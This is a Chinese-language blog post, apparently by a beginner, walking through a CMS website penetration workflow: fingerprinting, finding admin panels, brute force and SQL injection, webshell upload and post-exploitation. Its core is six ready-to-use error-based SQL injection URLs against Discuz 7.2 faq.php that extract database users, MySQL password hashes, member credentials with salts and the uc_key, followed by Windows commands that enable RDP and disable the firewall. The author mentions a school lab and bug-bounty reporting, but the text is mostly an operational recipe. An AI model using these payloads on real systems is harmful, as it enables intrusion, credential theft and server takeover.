(初次发文,以下见解可能存在争议的地方,欢迎指正)
关于cms,译名是“内容管理系统”,来有效解决用户网站建设与信息发布中常见的问题和需求。对网站内容管理是该软件的最大优势,它流程完善、功能丰富,可把稿件分门别类并授权给合法用户编辑管理,而不需要用户去理会那些难懂的SQL语法。(百度)
简单来说,这就是一个网站开发的工具。很多的网站都是通过cms进行搭建的,虽然功能强大,但只要出现漏洞,那么很多网站都会遭殃。需要及时的修补漏洞。
关于一个cms网站的渗透大致可以分为以下几个步骤(对于像我这种小白来说):
1、判断cms类型
2、根据cms类型,搜索已知漏洞,搜集敏感信息(找到后台管理员入口,找到管理员账号、密码等)
3、上传一句话木马(getshell)
4、扩大战果(得到数据库,远程控制等)
ps:推荐去白帽子众测平台提交漏洞。
一、cms类型判断
(1)根据power by(把网页拖到底,一般的会有这个字眼,好像交过钱的可以取消?)
(2)通过专业网站或插件查询(whatweb或wappalyzer插件)
(3)根据经验
论坛 discuz 简称dz
博客 WordPress
企业网站 metinfo
二、根据cms类型,搜索已知漏洞,搜集敏感信息(找到后台管理员入口,找到管理员账号、密码等)
这里作为小白,就属于纯百度了,虽然有很多出来的结果,但大多数都有或多或少的问题。这里需要耐心,多尝试几种方法,自然会有所得。
1、寻找后台:
(1)工具扫描(御剑、啊D。。。)
(2)根据经验(百度)
一般来说后台都是/admin…之类的,对于wordpress类型的后台地址一般是:
xx网站/wp-login.php
(3)Google Hacking
找到类似的目录结构,用inurl查询,加上admin。
2、找到管理员账号、密码:
(1)尝试sql注入(and 1=1,and 1=2…)
(2)弱口令、默认用户名密码,用字典暴力破解
很多漏洞扫描工具都有以上两个功能。
博主在学校的靶机中遇到过dz7.2搭的论坛,这里简单介绍一下:
dz7.2中有一个faq.php的文件,其中使用函数daddslashes()用来对数组 x i g r [ ′ h i ′ ] 进 行 安 全 处 理 , 但 是 没 有 对 变 量 xigr['hi']进行安全处理,但是没有对变量 xigr[′hi′]进行安全处理,但是没有对变量xigr做严格的类型规定。这就造成了攻击者可以利用魔术引号进行sql语句构造,从而造成sql注入漏洞。(最好用sqlmap先去爆一下库,cdb_uc_members是一个默认的库名,可以被修改)
exp语句:
(1)获取数据库用户信息
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(2)获取数据库版本信息
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(3)获取数据库信息
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(4)获取数据库用户名和密码
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit(0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
(5)获取用户名、email、密码和salt信息(dz的密码不是简单的md5加密,有盐值,可以通过cmd5这个网站去破译加密后的密码)
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques)from cdb_uc_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(6)获取uc_key(这里分两次是因为回显长度限制的原因)
前62位
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
最后两位
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
ps:一些特殊字符是不能在url直接使用的,一般通过百分号加符号对应16进制的ascii码来表示。如空格就是%20。
三、上传一句话木马(getshell)
通过后台,利用找到的账号和密码进行登陆。
在后台管理界面找到一个能上传文件的地方(你需要知道具体的路径),然后将你写好的一句话木马上传到目标主机,然后通过菜刀连接。
php一句话木马:
//菜刀连接的时候,单引号里面就是密码
四、扩大战果(拿数据库,远程控制等)
1、通过菜刀的文件管理,你可以找一下数据库的文件。
2、通过菜刀的虚拟终端功能,我们可以用如下cmd命令查看一些基本情况。(不过也要根据目标主机的版本而定)
whoami //查看系统当前用户及权限
ipconfig //查看网络地址
netstat -an //查看开放的端口
3、然后,windows主机我们可以通过开放3389端口进行远程连接,关闭防火墙(一般的防火墙是禁用3389端口的)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
//开放3389端口(win xp 和2003可用)
netsh firewall set opmode disable //关闭防火墙
4、最后,win+r打开本地的运行,输入mstsc,弹出以下窗口
填写好ip地址和端口号,然后我们就可以远程登录对方主机了!